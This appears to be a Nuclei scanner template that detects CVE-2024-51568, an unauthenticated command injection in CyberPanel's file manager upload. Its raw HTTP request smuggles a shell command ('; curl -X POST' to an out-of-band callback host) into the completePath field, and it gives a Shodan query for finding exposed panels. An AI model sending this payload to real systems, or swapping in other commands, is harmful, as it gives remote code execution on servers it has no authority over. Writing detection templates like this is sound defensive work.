id: CVE-2024-51568

info:
  name: CyberPanel - Command Injection
  author: s4e-io
  severity: critical
  description: |
    CyberPanel (aka Cyber Panel) before 2.3.5 allows Command Injection via completePath in the ProcessUtilities.outputExecutioner() sink. There is /filemanager/upload (aka File Manager upload) unauthenticated remote code execution via shell metacharacters.
  impact: |
    Attackers can exploit this vulnerability to compromise system security.
  remediation: |
    Apply security patches to address CVE-2024-51568.
  reference:
    - https://www.rapid7.com/db/modules/exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve/
    - https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51568
    - https://cyberpanel.net/blog/cyberpanel-v2-3-5
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-51568
    cwe-id: CWE-78
    epss-score: 0.45682
    epss-percentile: 0.98641
  metadata:
    verified: true
    max-request: 2
    vendor: cyberpanel
    product: cyberpanel
    shodan-query: http.html:"login to your cyberpanel account"
  tags: cve,cve2024,cyberpanel,rce,intrusive,vkev,vuln

variables:
  boundary: "{{to_lower(rand_base(9))}}"
  filename: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /filemanager/upload HTTP/1.1
        Host: {{Hostname}}
        X-CSRFToken: {{csrftoken}}
        Content-Type: multipart/form-data; boundary=----NewBoundary{{boundary}}

        ------NewBoundary{{boundary}}
        Content-Disposition: form-data; name="domainName"

        {{Hostname}}
        ------NewBoundary{{boundary}}
        Content-Disposition: form-data; name="completePath"

        ; curl -X POST http://{{interactsh-url}}
        ------NewBoundary{{boundary}}
        Content-Disposition: form-data; name="file"; filename="{{filename}}.txt"

        pwd
        ------NewBoundary{{boundary}}--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains(interactsh_protocol, "dns")'
          - 'contains_all(body, "status\":", "error_message\":")'
        condition: and

    extractors:
      - type: regex
        part: header
        name: csrftoken
        group: 1
        regex:
          - csrftoken=([A-Za-z0-9]+)
        internal: true
# digest: 4b0a00483046022100b7859bd28a4652749aa7683f81f7fd3a9b797f2a10857e988f10a481b5d2ddca02210082aa693289529277c35794b678f3b2cc09384763cc63b06a440e13ebfb41de43:922c64590222798bb761d5b6d8e72950